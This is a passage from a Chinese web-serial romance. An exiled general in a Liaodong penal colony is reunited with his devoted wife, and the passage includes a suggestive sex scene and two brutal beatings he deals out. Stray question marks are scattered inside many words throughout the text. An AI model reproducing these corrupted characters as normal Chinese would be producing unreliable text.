沈棠宁的心,控制不住地“砰砰”跳动了起来。 她屏住呼吸,仔细四下张望辨认,不放过任何一个人的背影,却始终找不到那个宽阔而熟悉的人影。 到后来她几乎是仓皇而焦灼地四下扫去,接连几步向前,被两个看守大门?的士兵横刀拦住。 “兀那女子,你是何人!不准再?上前……” 杨氏连忙塞给差役一把铜板。 沈棠宁眼里早已?容不下任何人,耳中听不到任何的声音,只喃喃而绝望喊着:“阿瞻,阿瞻你在哪里,阿瞻——” 直到杨氏指着一人说道?:“那就是他。” 沈棠宁顺着杨氏的手势看过去。 一个男人站在角落里,穿着一身?灰扑扑的破烂短褐,背对着她在和泥浆。 他一下又一下地铲着土,弓着腰,驼着背。 他每一个动作都与身?旁的犯人们别无二致,重复而机械,机械而麻木。 她瞪大双眼,怔怔地看着,一动不动。 突然,身?后督造的差役往他身?上狠狠甩了一鞭子。 他踉跄了一下,狼狈地扑倒在地上。 在下一鞭子甩过来时,慢慢从地上爬起来,换一个方向继续铲土。 随着他的转身?,沈棠宁终于看清楚了他的脸。 一张脸上溅满了泥浆,蓬头?垢面,拉碴的胡子堆满下半张脸,如果不是那张脸上熟悉的轮廓,那双漂亮的狭长的凤眼,她几乎对着他的正脸都要认不出他。 记忆中他白马银弓,英俊不羁,意气风发?的模样,与如今在泥地里满身?脏污,挥汗如雨的佝偻背影逐渐重合。 泪如雨下。 沈棠宁突然捂住嘴,转身?跑开。 “阿瞻,阿瞻?阿瞻……” 恍惚之间,谢瞻好像听到有?人在温柔地呼唤他的名字。 有?多久没有?听到有?人唤他“阿瞻”了? 这半年来,他的名字不再?是谢瞻,三镇节度使,谢将军,镇国公世子。 变成了“罪臣”,“庶人”,“哑巴”。 “阿瞻你在哪里,阿瞻——” 那道?熟悉而温柔的声线仿佛又在他而耳旁响起,还夹杂着撕心裂肺的绝望和哽咽呼喊。 他猛地回头?,大门?口却一人也无,只有?两个雷打不动看守的差役。 他口中喃喃道?:“宁宁,宁宁……” 他扔了手中的铁锨,抓住一个人就问:“你听没听见有?人在叫我?” 那人唬了一跳,结结巴巴道?:“啊!啊?你你会说话?” 谢瞻又抓着一个人问,那人不耐烦地啐道?:“我呸!我他娘怎么知道?谁叫你名字!我看你真是疯了,就你这个疯癫样儿,哪个来找你,趁早你死了省事儿!” “都给爷散开干活,爷看你们是想爷抽死你们!”差役叱道?。 众人都害怕差役的鞭子,连忙散开该干啥干啥,没人再?搭理哑巴。 下晌,到了下工时分,犯人们都散了,有?些家里老婆孩子跟着一起来流放的就回家吃饭,没有?老婆孩子的就在卷棚里领一碗稀粥和一个馒头?吃。 犯人们也拉帮结派,平日里就哑巴一个人在卷棚独自吃饭,从不和人说话。 今日他不知怎么了,差役一打开木门?他就朝着外面飞奔而去。 众人们都十分纳罕,一个道?:“莫不是他老婆来看他了?” 另一个嗤笑道?:“就他那个邋遢样儿,光顶个个儿,能有?女人跟他?我瞅他是做大梦呢!” 谢瞻一路跑,一路狂奔,离家越近,他心里却越恐惧。 他既希望自己是在做梦,因为在梦里,至少还能看见那张令他魂牵梦萦的美丽面庞。 又希望自己不是在做梦,因为梦醒了,他也该醒了。 他不该奢望自己做这种不切实际的梦。 即使他多么想能继续作为她的丈夫保护她,爱惜她,可是他不能,他已?是个将死之人—— 在被流放到宁远城之后的无数个梦境之中,除了沈棠宁,他最常常能梦见的人便是耿老将军。 谢瞻心里有?一种预感,或许他会踏上和耿忠慎一样的老路。 在被贬谪的第二年春天,耿忠慎便旧疾复发?,病死在了辽东。 如今,一模一样的地方,一模一样的那个至高?的位置,三镇节度使,他坐过,耿忠慎也坐过。 他也终于明?白,去年中秋那夜,那位为他们夫妻二人卜卦的道?长所说的“亢龙有?悔”是何之意。 亢龙有?悔,是在警告他要居安思危,切勿迷失于功名利禄之中。 原来在冥冥之中早有?仙人为他指点迷津,可惜那时他年少气盛,根本没有?防备害自己的人竟是自己的至亲之人,而大厦倾倒也不过是顷刻之间。 夜风冷冷地扇打在脸上。 谢瞻慢慢放慢了步调,当他停留在家门?的时候,那一向黑黢黢的屋里,第一次燃起了灯,烟筒上空,有?炊烟袅袅。 许久,谢瞻都没有?进去,而是转身?走开。 一直走到村子外的一条小?河边,他脱了衣服,跳进河水里。 二月里,河水依旧冰冷刺骨,他却将自己整个身?体都浸入到河水中去。 洗完澡,他拾起一块尚算干净的衣服角擦干净了身?体,穿上脏衣服。 从靴子底抽出一块在地上捡的铁片,将铁片在石头?上磨得?锋利,而后对着湖面一点点,刮去脸上多余的须发?,露出他本来的面貌。 蔡家,蔡询一家三口在吃饭,小?儿子正绘声绘色地和他形容白日里见到沈棠宁的情形,什么油壁大马车,金光闪闪的箱笼,貌若天仙锦衣华服的仙女,越说蔡询眉头?却皱得?越深。 听到有?人敲门?,蔡询心道?这么晚了还有?人上门?,主动放下著出去开了门?。 门?一开,只见门?口站着一个身?上还往下滴答着水的青年,天色昏暗,那青年脸庞竟是十分瘦削英俊,只是脸色苍白若纸,跟个没点活气儿的男鬼似的。 蔡询顿时心里就毛毛的。 “衣服。” 男鬼的声音带着几分嘶哑。 “啊?你,阁下是?” “哑巴。” 蔡询瞠目结舌。 这,眼前这个英俊白净的青年,是那个又丑又邋遢的哑巴?! 再?细看这青年的面部?轮廓,身?高?八尺,那哑巴确实也是这般高?大。 原先他头?发?凌乱,满脸的须发?不刮,单露出一双眼睛也不去看人,整天一副要死不活的模样,蔡询和杨氏等?人便下意识地以为此?人是奇丑无比。 晚上蔡询回来的时候,杨氏还极新鲜地和他说,哑巴的媳妇儿来了,那生得?是一个美若天仙,女儿更是将她吹得?天上有?地上无,连一向清心寡欲的蔡询都忍不住好奇地想去看一看了。 想来能娶得?绝色美人的男子,样貌、家世也不会差了去。 他,到底是谁? 蔡询神色复杂地看着谢瞻。 “我听他娘说,你叫二郎,那你姓什么?” 谢瞻垂下了眼,没有?回答。 “你想来要一套干净的衣服,穿给你媳妇看?”蔡询又问。 谢瞻点头?。 “那你进来吧,我给你找一套我年轻时穿过的直裰,只是你长得?又高?又大,穿着不定合身?。”蔡询说道?。 谢瞻垂下眼,又摇头?。 蔡询只好进屋去帮他找了一套衣服拿出来。 “多谢。” 谢瞻接过衣服,去了没人的墙角里。 这是三个月以来,他第一次和蔡询开口道?谢。 蔡询看着他深一脚浅一脚的背影,心里头?不知为何,忽然觉得?很不是滋味儿。 …… 换好衣服,谢瞻走到家门?口,却迟疑着不敢进去。 近乡情更怯,离着那扇破烂的木门?越近,他的心反而愈发?不可自抑地飞速跳动了起来。 一颗心,仿佛要从喉咙里跳出来。 这使得?他意识到,他还活着啊。 原来他的心脏还是会跳动的,就像年少时他无数次见她之前那样。 一想到马上就要再?次见到她,他的心竟还是会因她跳动得?那样快,那样地剧烈…… 第75章 可我已经是个废人了。 我曾经所拥有?的一切,权势,地位,财富。 甚至于我的骄傲、自尊,一切的一切都已不复存在。 我现如今的样子,是破旧难以蔽体?的衣服,苍白丑陋的脸,遍体?鳞伤的身体?。 这个念头令谢瞻在一瞬之间如堕冰窟。 一个男人,绝不会?想将?自己最丑陋狼狈的一面展现在自己的女人面前。 他希望自己临死之前,在沈棠宁心目中的形象依旧是像从?前那样高大英俊,无所不能,这样就算明日便要赴死,他亦能死而无憾。 沈棠宁端着饭从?灶房里出来时,看见门口站着一个黑色的影子。 “是谁?” 片刻,那人不答,她又叫了一声。 “谁在哪里?” 那人忽地身形一晃,转身快步走开?,沈棠宁顾不得手里的饭菜了,放到地上便追了出去?。 “等等!” 她颤抖着声音道:“你别走,站住!谢临远,我命令你站住!” 沈棠宁快步追上前,抓住谢瞻的手。 “你躲我做什么?” 她急切而激动地走到谢瞻的面前,借着皎洁的月色打?量着他。 她清楚地看见他的眉眼?依旧是那么地英俊,只是原本炯炯有?神的凤目失去?了它曾经高傲明亮的神彩,仿佛蒙上一层灰翳,变成?了一潭漠然的死水。 她的鼻尖蓦地一酸,想要像从?前那样扑进他的怀里,谢瞻却将?她推开?,转身走了进去?。 半天的时间,屋子已经被?沈棠宁收拾得干干净净。 看到床褥都被?整齐地叠了起来,换上了一套新的床套,谢瞻心一跳,快步上前想翻找他藏在枕头下的那物,沈棠宁就跟着走了进来。 谢瞻顿在了原地,收回手。 沈棠宁将?饭菜都陆续端到了桌上。 两人沉默片刻,她强笑着,道:“你……累一天了吧,都是我亲手做的,你快些吃,这屋里冷,别等凉了。” 家里没有?米粮,是隔壁的杨氏心善,她跟着杨氏去?了村里的粮油店买了一些米粮回来,杨氏又在自家的地窖里给她装了一筐的土豆和一罐子咸菜给她。 谢瞻低头把?几件杨氏做给他的棉衣铺到地上,和衣躺了上去?。 “我不饿,你吃吧,今晚你睡床,明天一早就离开?这里。” 沈棠宁说道:“我不走。” “我已经跟你和离了,我们二人如今再没有?任何关系。” “你是说这个?”沈棠宁说。 谢瞻望过?去?。 沈棠宁从?怀中取出那封他送来的和离书,当着他的面撕成?了碎片,扔到地上。 “你做什么?!” 谢瞻坐起来,怒瞪着她。 沈棠宁毫不示弱地与他对视着。 “只要我不认,它就不管用。” 半响,谢瞻移开?了落在她身上的视线,又继续躺了回去?。 “随你。” 他背对着她冷冷道。 过?了会?儿,他听到她似乎是在收拾桌碗。 接着,她关上门,吹灭了烛灯,慢慢向床的位置走了过?来。 谢瞻闭上眼?睛。 随后,一具温软馨香的身子悄无声息地从?他身后贴了过?来,柔软的胸脯紧紧地贴着他僵硬的背脊,在他耳旁声音极轻地呢喃:“阿瞻,我好冷……” 谢瞻拉出她往他衣内伸来的小手。 “冷去?床上睡!” 话说完,一顿。 她的手确实冻得冰凉冰凉,娇小的身子也在他背不停地打?颤,瑟瑟发抖。 二月,镇江已是一片杨柳翠色,而京都城的也在逐渐回温。 辽东之寒,却堪比京都最冷的三九隆冬,她一路坐车而来,原本便娇弱多病的身子怎么受得了? 默了片刻,谢瞻起身将?沈棠宁抱到炕上。 因为?刚烧火做过?饭,炕上还有?余热,谢瞻脱去?她的鞋袜,给她铺好床褥,盖上被?*?子,将?她一双冻得雪白的小脚先揣进自己的怀里揉搓,等到暖和一些了,再将?那双柔荑也揣进怀里。 黑夜里,沈棠宁乖顺地任由?他动作?,她将?身子依偎在他的胸口上,静静听着他胸口一下又一下的心跳声。 抬脸,他正低垂着眉眼?为?自己暖手,她忽微微蹙眉,眼?中闪过?一抹疼惜,抚摸着他嘴角旁的一道血痕问:“这里怎么划伤了,疼吗?” 她低低地说,用指尖轻轻触过?他还泛着青色胡茬的唇角,冰凉滑腻的感觉令谢瞻心一颤。 他立即偏过?脸,将?被?子给她盖好,下床躺回了地上。 第二天一早,谢瞻起床时,发现沈棠宁蜷缩在他的怀里,两人身上同盖着一床被?子。 谢瞻小心将?沈棠宁抱回床上,还未来得及再盖上被?子,沈棠宁便醒了。 “阿瞻,你要走了?我昨晚锅里还给你热着粥,我去?给你端过?来……” 她嘤咛了几声,挣扎着便想起身。 “不用了,我不饿。” 谢瞻按住她,而后随意在水盆里抹了两把脸,漱口后便转身走了。 这一天,沈棠宁继续给谢瞻打?扫屋子。 今天天气不错,她把?自己放在仓房里的三大箱的箱笼都收拾了一遍,从?里面找出一件粗布衣服换上,将?满头长发学着杨氏的模样用一块布巾包起来。 对镜自照,嗯,这样看起来便十分像个乡下妇人了。 今天天气不错,太阳升起来的时候,她准备给谢瞻洗一洗衣服和昨天换下来的被?单褥单,却不知去?哪里浣衣,院子里有?水井,可惜她不会?打?水,试了几下水桶里都装不上水。 隔壁的杨氏正准备抱着盆去?河边洗衣服,看见她在笨拙打?水的样子。 “沈娘子,你还不走呢?”她隔着墙叫道。 沈棠宁擦了擦汗,笑道:“嗯,不走了。杨大嫂,你可是也要去?浣衣,我能和你一起去?吗?” 阳光下,她带着羞涩地嫣然一笑,芙蓉玉面,桃腮欺雪,露出朱唇间一排米粒般雪白的牙齿。 一瞬间杨氏瞪大双眼?,脑海中闪过?无数美好的词汇来形容她—— 螓首蛾眉,巧笑倩兮,美目盼兮。 莫说是男人,连杨氏都看呆了,若不是沈棠宁接连唤了她几声,杨氏都反应不过?来。 两人到水边的时候,河边已经有?几个妇人在三三两两地浣衣。 乡下妇人们见过?最美的女子,也不过?是村长儿子去?年新娶的媳妇,而沈棠宁的身段长相气质,都远远地超过?村长的儿媳。 明眸皓齿,丹唇琼鼻,肤白胜雪,更重要的是,她一看便是大家族出身的闺秀,一颦一笑落落大方,行动举止如弱风扶柳,像是那广寒宫里飘下来的仙子一般。 她洗了多久的衣服,就被?人呆盯着看了多久。 此后几年里,甚至会?有?别的村儿的妇人和姑娘们专门挑她出门洗衣服的时候千里迢迢赶到枣子村来浣衣,就为?了多看她一眼?,学她的姿态装扮,令自己行为?举止更为?优雅漂亮。 便是沈棠宁在发髻上随意插一把?梳子,方圆几十里的姑娘和小媳妇都会?学着她这模样来打?扮,一时蔚然成?风。 自然,这些尚是后话。 更有?甚者?围着沈棠宁围成?一圈,追问沈棠宁年纪庚岁,杨氏见沈棠宁应接不暇,不得不打?断道:“老赵婶子,人家早就成?婚了,她男人就是我家隔壁的二郎。” 赵婶子问:“二郎是谁,你家隔壁住的不是个哑巴?” 沈棠宁轻言细语地解释道:“赵婶子,我夫君不是哑巴,他只是不爱说话。” 妇人们便都知道了,这位漂亮的小娘子是那哑巴的娘子。 大家面上都笑着夸赞谢瞻有?福气,背地里却嘀咕,这样漂亮的娘子,竟会?心甘情?愿陪着那哑巴流放,他这是走了什么运道? 看吧,过?不了多久他这娇滴滴的小媳妇指定得跑!- 谢睿来送沈棠宁,到达宁远城门,守城士兵要查看过?关文牒。 确认了沈棠宁的身份,他们只能放行沈棠宁,身为?谢瞻的弟弟,谢睿不得入城。 谢家不敢接济谢瞻,沈棠宁来的时候带的钱财不仅不被?允许带进去?,所有?箱笼里的衣服物件也都被?守城的士兵都翻出来查看了一遍,贵重的东西全部没收。 谢睿知道那些构陷谢瞻的人都盯着谢瞻挑刺,恨不得置他于死地,只能隐忍不发。 他也不想给谢瞻惹麻烦,好说歹说,给那士兵塞了不少银子,才让沈棠宁得以只将?自己的箱笼带进去?。 分开?前,谢睿说:“宁姐姐,我不会?离开?宁远,就在附近的村落住下,以后我每日都会?在此处城门等你,若你在三日之内改变主意了,便尽管来寻我。” 沈棠宁从?来没有?离开?的打?算。这几天她每日守在家中,把?家里外都打?扫了一遍,做好饭就站到门口一直等着谢瞻回家。 但?结果便是谢瞻看也不看一眼?她做的饭菜,冷了也不吃,回家就躺倒在地上睡觉。 就算半夜她装冷爬到他的怀里,有?几回她明明都清楚地感觉到他起了反应,第二天又会?被?他临走前抱回床上。 这夜,谢瞻回来的第一句又是问她怎么还不走。 沈棠宁心里烦闷极了,总之他不吃,她也跟着不吃便是了,看谁能坳过?谁! 她“啪”的一声把?碗筷都扣在一起,边拾掇边赌气地道:“明天就走!” 谢瞻看向她。 沈棠宁绷着脸,将?碗筷都端出去?了。 谢瞻抿了抿唇,默默地走到炕边,像前几天那样帮她铺好床褥。 灯灭后,沈棠宁爬上了炕。 谢瞻看她躺好,才慢吞吞地起身上了炕,将?她的双脚都揣进怀里替她取暖。 不过?今夜,似乎有?哪里不大对。 谢瞻刚抬起她的腿,便见那白色的裙摆顺着脚踝毫无阻碍地滑落了下去?,露出一对笔直,纤细,滑腻的小腿,在月光下散发着幽幽的凝脂般的光泽。 时人裙下会?穿裤,尤其是山海关以北地界的妇人,棉裙下面都会?套上棉裤来御寒。 作?为?他的妻子,她自然最知道他喜欢看什么。 沈棠宁看见他一动不动地盯着自己的腿。她坐起身来,慢慢解了腰上的系带。 还是有?些冷的。 冰冷的长发披散在身后,她抱着胸口,忍不住打?了个哆嗦。 谢瞻一抬头,忽地脸色一变,有?些涨红,急急别过?脸去?。 “你做什么?!” 他想跳下炕,沈棠宁却从?身后紧紧地抱住了他。 “放手!” “不放!” 沈棠宁不肯放,终究是抵不过?他的力气,被?谢瞻硬生?生?掰开?她的手。 沈棠宁红了眼?。 “啊……” 谢瞻走到门口,刚要开?门逃,就听到身后痛呼一声,转身一看,沈棠宁浑身趴着跌倒在了炕前。 谢瞻一惊,连忙走回去?将?衣服披到她的身上,再抱回床上。 炕前铺的都是凹凸不平的石头,他点了灯一看,沈棠宁的膝盖、小腿和胳膊肘上都有?不同程度的擦伤。 谢瞻用锅里剩下的热水给她清洁干净,敷了一些金疮药。 上药的时候,难免要面对着她裸露的肌肤,沈棠宁的肌肤很白,哪怕是在黑暗之中,也白得耀眼?诱人。 明明屋里很冷,谢瞻却出了一身的热汗,手里的药瓶也拿的有?些不稳。 因为?沈棠宁勾住了他的脖子。 将?她半个身子都靠在了他的胸口上,她身上只披着一件他的衣服,身上散发着淡淡的幽香。 而他却没工夫,也不敢用力推开?她,一面给她的手肘上药,另一面只要稍稍低下头,就能看见那怀中那半遮半掩,酥腻动人的春色。 “你!” 谢瞻突然又捉住她的手。 “放手!” 他哑着嗓子叱道,但?这次的声音里,已颇有?了几分气急败坏的意味。 沈棠宁脸也很热,很烫。不过?她的手才不会?移开?。 她以前从?来没有?做过?主动帮谢瞻做过?这种事,多半是谢瞻央求她做。 那时候他总逗弄她说,不能总叫她等着他伺候她,不得已,等他催促得实在推不得了,她才羞红着脸半推半就地照着他说的去?做。 她不知道怎么勾引男人,不过?现在……她就算是了吧? “你别推我,我刚才身上摔得还疼,你再推我,明天我就走不了了。” 她的声音里带着委屈,撒娇和无赖的意味,身体?就像只八爪鱼一样缠着他。 谢瞻难以置信。 他从?来不知道,沈棠宁还有?这样的一面。 她的羞涩与矜持,有?时让他很是头疼无奈,而眼?前这样撒娇卖痴的她,竟令他一时有?些手足无措,想要推开?她的那双手也有?些变得犹豫不忍了。 乡下的月光格外明亮,透过?门窗的缝隙射进的屋里,宛如白练一般倾洒到炕上,映照在男人俊美的脸庞上。 先前一直没有?机会?好好看他,终于等到这一刻,沈棠宁可以坐下来好好地,对着灯认认真真地打?量他。 他真的清减了许多,两颊和眼?窝都瘦得凹陷了下去?,刚刚抱她的时候,她明显感觉到他的腰身都细了好多。 有?些地方,甚至能摸到嶙峋的骨头。 沈棠宁按下心头的酸涩,轻轻抚摸谢瞻的脸颊,他的眉,眼?,鼻,唇。 她的夫君,一定吃了好多好多的苦。 她的夫君,本应是天之骄子,是翱翔于天际的雄鹰,却被?人生?生?地折断了羽翼,流放到这个荒凉苦寒之地。 她怎么能不心疼,不怜惜…… 沈棠宁的吻笨拙而柔情?,带着某种安抚怜惜的意味。 她闭目,长长的睫毛垂下。轻轻撬开?他的唇齿,湿湿滑滑地搅动着他的大舌。 谢瞻一动不动地看着她动情?地亲吻自己,直到两人的口腔中,逐渐弥漫开?泪水的咸苦滋味。 “哭什么?” 他哑声说。 凄清的月光下,她哭得如同梨花带雨,泪水顺着腮边簌簌滚落。 “我想你……我真的好想你!”她终于忍不住哽咽出声。 从?前,每回他问她有?没有?想他,她都避而不答。 他知道她是害羞,可是他想她。 情?浓时,哪怕分开?半刻他都要思念成?狂,迫切地想要见到她,抱住她,将?他融进她柔软的身子里。 谢瞻捧着怀中妻子颤抖的双肩,眼?底深处仿佛也有?千波万澜在涌动。 他轻轻抿去?她眼?角的泪,她呜咽两声,委屈地蹭了蹭他的手指,一双美眸盈满泪水,湿润润,红得可怜,娇弱,又无助,红唇微微启着,露出两粒洁白的贝齿,好像是在引诱他伸舌进去?一探究竟。 谢瞻不记得自己是怎么吻上的沈棠宁,两人又是怎么滚到的炕上。 沈棠宁被?他强硬地反剪住手,她仰起头,也只能疼得吸气。指甲深深陷进男人青筋交错的手臂上,在上面留下一道道半月形的掐痕。 黑暗中,她还听到“咕咚”一声闷响,似乎是她的头撞到了炕头上。 谢瞻停都未停,下一刻,他的大掌就在了她的脑袋上。 只是此时此刻,沈棠宁已无暇再去?分心去?思考究竟撞到了什么了。 ……………………………………………………………………………………………… 两人半年没见,又是久旷之身,孤男寡女,共处一室,自是干柴烈火,一点即燃。 隔壁的杨氏和蔡询夫妻就遭殃了。 刚睡下没多久,夫妻俩就听隔壁传来一阵阵叫人脸红心跳的声音从?东侧响到西侧,从?西侧响到东侧。 都是老夫老妻了,夫妻俩岂能不知隔壁是在干什么好事。 这老房子隔音不好,两家的房间,又是极不凑巧地对着。 也不知过?了多久,外面三更的梆子都打?了起来,终于,蔡询和杨氏心里一面窘迫着,一面随着男人那道舒缓的低吼声松了口气。 可惜没有?消停多久,那恼人的声响又断断续续地“死灰复燃”。 杨氏睁着一双满是红血丝的双眼?,不知道数到第几只羊了,沈棠宁每娇滴滴地叫上一声,她数的羊就被?迫打?断一次,最后实在忍不住,长长叹了口气。 “你还没睡?” 黑暗中,蔡询突然说道。 杨氏吓了一跳。 “你也没睡?” 蔡询翻了个身,面朝着杨氏,夫妻俩面面相觑。 “年轻人,体?力就是好。” 为?了掩饰尴尬,蔡询叹了口气。 杨氏瞥他一眼?,“你年轻的时候可没这体?力。” 蔡询当即不高兴了,摁着杨氏就翻身上去?道:“你这妇人,再胡说八道一句试试,我如何体?力就不好了!” 杨氏“啊”的惊呼一声,旋即红着脸啐打?他道:“你个老不知羞的东西!多大年纪了还和人家年轻人比,快滚下去?,我困死了!” “反正咱俩也睡不着,嘘,当心也被?他们听到……” …………………………………………………………… 好酸,好疼…… 欢愉过?后,是身子好像被?车轮碾压过?得疲累。 迷迷糊糊中,沈棠宁摸向床铺一侧。 她摸了两下,没有?摸到男人温暖结实的身体?,反而摸到了一片冰冷滑腻的墙壁。 沈棠宁一愣,睁开?眼?,四下打?量去?。 她躺在地上,身上整齐地穿着衣服,还披着一张厚厚的毯子。 她有?一瞬间的呆愣,不知自己为?何会?置身在何处,但?伴随着意识的清醒,脑中率先涌入昨晚那些令人难以启齿的记忆。 滴落的汗水,交缠的手足,男人不知疲倦贪餍的所求,和她婉转动人的哭泣…… 耳旁涌入的繁杂声音,咕噜噜的车轮声和马夫一声接着一声喝马声,也愈渐清晰。 以及,杨氏困得打?哈欠的声音。 “沈娘子,你终于醒了啊!” 看到沈棠宁醒,杨氏赶紧也清醒了。 沈棠宁猛地坐了起来,掀开?帏帘。 头顶上艳阳高照,一排黄土大路在身后不停地远去?,周围还跟着几辆相似的马车,她刚才起身时,腰肢,双腿,后颈都酸疼不已。 混蛋,这个混蛋!! 沈棠宁气得浑身都颤抖了起来。 “停车,快停车!” 第76章 谢瞻今日被分配去烧砖。 制作城墙砖的工序很?复杂,需要经过取土、制胚、烧制等等数十道工序,其它犯人担心挨打,听匠人们讲解烧砖工艺的时候都十分认真,唯有他明显心不在焉,总低着头。 但真正开始制砖的时候,他却比认真听讲的犯人们做的还要娴熟。 取的土土质细腻,基本不含砂石,那些因疏忽取土粗糙的犯人们挨了数次鞭子,自然便眼红盯上了谢瞻。 不过,这并不是令犯人们最嫉恨的。 流刑,是仅次于死刑的重刑。 能被发配到此地的流犯们,多半是犯了杀人或谋逆重罪的穷凶极恶之徒,必须用强权来压制,罪重者?由差役专门关押看管。 是以流犯营的差役们最是心狠手辣,铁手无情,任你?曾经是王侯将相还是平民百姓,见着不顺眼的一鞭子就?抽过去把你?打趴下。 偏偏平日里差役们中有那么两三个极少去抽谢瞻,哪怕抽打一下也不过是轻轻带过装个样?子,弄得其他犯人们很?是不满。 原本谢瞻默默无闻,众人对?他持观望态度,三天前他忽然剃去了脸上的毛发,换上了整洁的衣服,大?家才知道,原来这个哑巴不仅生得不丑,还俊俏得厉害。 听村里人说,哑巴的媳妇来找他了,长?得那叫一个国色天香。 这样?一个俊美,干净,又娶了美貌妻子的男人与他们这些罪恶滔天的罪犯简直格格不入。 制胚的时候有人往谢瞻身上扔泥巴。 开始是只是扔到他的身上,后来见他毫无反应,以为他好欺负,居然直接往他面门上扔。 谢瞻摸了一把脸上的污秽。 那名叫做黄二的犯人,便是这些流犯之中有名的穷凶极恶之徒,因为奸.淫并残忍分尸杀害了三女两男,被家人用银钱收赎才未被判处死刑而流放到了辽东。 见谢瞻望过来,黄二用挑衅和?得意的眼光,继续往谢瞻身上扔了一滩泥巴。 “今早,我都看见了。” 他忽地怪笑一声,凑近谢瞻低声道:“那就?是你?女人吧?嘿嘿,长?得可真够骚的!那皮肉儿?,啧啧,真比娼妓馆里面的妓.女还要白?!不如?哪天,你?也叫兄弟我去尝尝她的味道……” 说着,黄二脸上露出猥琐陶醉的神态。 今天早上,谢瞻将沈棠宁送出村子时,无意遇见了被差役押送来服刑的黄二。 同为男人,他当然知道此时黄二的脑子里在想些什?么龌龊。 黄二还在兀自肖想着,清晨那被风吹起的一角帏帘里,躺在马车中的女人肌肤有多么雪白?,细嫩,头发却宛如?瀑布一样?乌黑柔顺,纤细的腰肢更不盈一握,若是能将这样?的女人弄到手玩上一玩,便是立即就?死也不枉此生了。 他不仅不遮掩,反而故意朝着谢瞻的方向挤眉弄眼。 谢瞻放下手中的模具。 他突然一个箭步冲到黄二面前,一拳头砸到黄二的下巴上。 那一拳头揍得极有技巧,黄二仅哀嚎了半声,剩下的那半声便被口中失禁般涌出的血水堵住了。 紧接着他的小腹上也被人狠狠地凿了两三拳,这会儿?他是一声儿?也叫不出来了,疼得泪流满面,却只闷哼一声,“咕咚”跪倒在了地上,又惊又惧地看向谢瞻。 谢瞻的动作可谓又狠又快又急,黄二根本来不及呼救下巴就?脱臼了,巡视的差役见黄二跪在地上,以为他又在偷懒,一鞭子就?抽了过去。 “黄二,你?又作什?么死,站起来干活!” 黄二有苦难言,本来下巴和?腹部?就?疼到他想立即死过去,差役那一鞭子,直接将他抽得脸朝地趴倒在了地上,血糊了满脸,再也站不起来。 周围有看见的犯人,纷纷被谢瞻那一套吓傻了。 在流犯营中,拳头就?是硬道理,这个哑巴平日里看着是默默无声,一出手竟是个练家子,能将人高马大?的黄二之流都揍得爬不起来。 众人哪里敢告发,连忙低头都装作没看见干着自己手头的活计,生怕谢瞻也过来给上一拳头。 欺负谢瞻的心思,一时也被丢到了东海大?洋里。 到下午日落之时,乌金摇摇西坠,服刑结束,众人才各回各家。 谢瞻盯着自己的一步一个脚印,走了一路。 走到村口的时候,还是忍不住抬起头,朝着昨日还生了炊烟的方向望去。 湛蓝无一丝阴翳的天空上方,除了几片色彩瑰丽的云霞与几只匆匆归林的倦鸟,空空也无。 …… 一辆马车停在破旧的木门前。 男人下了车便绕到马车后,道了一声得罪,将车上的女子小心抱了下来。 那女子乌发凌乱,浑身柔弱无力,而男人的一只手则贴落在她的大?腿上,另一只手放在女子的后背上。 女子落地之后就?踉跄着后退几步,另有一个女人来搀扶住了她,关切地问?:“沈娘子,你?没事吧?你?脚扭伤得有些严重,慢些走。” 这两人自然便是走到镇上后又半途折返的杨氏和沈棠宁。 却说今个儿?大?清早天都没亮,杨氏和?蔡询还在睡梦之中,就?被外面谢瞻的拍门声给惊醒。 两口子当真佩服谢瞻的精力,昨夜听隔壁那动静闹了快一晚上,近四更时分才消停下来,叫到最后,听着沈棠宁嗓子沙哑了,哭都哭不出出来声儿?,而杨氏跟蔡询也不免累极沉沉睡去,哪想到这一大?早,他还能起得这么早过来叫门! 谢瞻想把沈棠宁送走,问?杨氏和?蔡询能不能借一辆马车,让杨氏帮忙将沈棠宁送到城里的驿站去。 也算是谢瞻走运,村子向北走接近十里地刚巧有个富贵人家的田庄子,蔡询先领着谢瞻去村长?家借了辆牛车,两人坐着牛车去田庄,一来一回就?花了一个时辰。 庄子里面常年为主人家备着马车,蔡询花了二两银子租了辆马车,快到晌午时分,谢瞻将还在昏睡的沈棠宁抱上马车,由杨氏护送着就?去了镇子上。 杨氏这厢说罢,忽见一个人影从身旁闪了过去。 还没等她反应过来那人是谁,就?听车夫骤然惨叫一声。 大?晚上的,一个男人抱着一个美丽的女人,举止亲密。 谢瞻的眼眶里,哪里还装得下杨氏。 在看见沈棠宁被别的男人抱在怀里送回来的那一刻,谢瞻脑子就?“嗡”的一声,瞬间气血上涌,一片空白?。 白?天黄二和?他说的那些挑衅之话?仿佛又回荡在了他的耳边:他的妻子生得柔弱貌美,又是这般晚的天色,这个畜生对?她做了什?么!? 车夫殷勤,见杨氏扶着沈棠宁,便准备把沈棠宁和?杨氏落在马车里御寒的毯子一块拿进屋里去,突然一个男人双目赤红,气势汹汹地从斜刺里窜了出来,揪起车夫的领子就?往他脸上狠狠招呼了一拳。 拳头如?雨点一般狂落下来,车夫大?叫一声,抱头鼠窜。跌倒在地上,又被谢瞻薅起来继续揍,当真是被揍得毫无还手之力,只会嗷嗷惨叫救命。 沈棠宁扭头一看,花容失色,顿时也顾不得脚踝的剧痛了,连忙去拉谢瞻。 “你?做什?么,住手,阿瞻快住手!” 谢瞻一把将她推开,又往那车夫脸上砸。 幸亏杨氏及时扶住了沈棠宁。 周围的村人听见外面的动静,纷纷兴奋地打开门窗开热闹,更有些大?胆的,围聚一起站在远处指指点点。 “这哑巴疯了!” “你?看我说什?么来着,这些流犯都不是什?么好东西!” 无论沈棠宁如?何哀求,谢瞻就?像发了疯一样?踢打着车夫,车夫嚎啕大?哭,口中不住喊“好汉饶命好汉饶命”之类的话?。 眼见车夫的头上已经见血,杨氏不由大?急道:“二郎,你?还不快停下来,人家好心把我们送回来,你?这是干啥,你?要真把他打死了,你?娘子可怎么办!” “够了!” 谢瞻停顿的间隙,沈棠宁拼尽全力,打了谢瞻一巴掌。 “啪”的一记重响。 霎时,全场寂静。 谢瞻一愣,虎口松开。 车夫蜷缩着身子倒在地上,又连滚带爬躲到杨氏和?沈棠宁的身后。 沈棠宁担心车夫被谢瞻打出什?么事儿?来,摘下耳上的珍珠耳铛递到他的手里。 “多谢大?哥载我和?杨大?嫂回来,是我的错,让你?遭受了无妄之灾,这是误会!这些首饰还请你?拿去,也能卖几两银子,权当是我给你?的补偿,望你?千万不要计较我夫君的无心之过。” 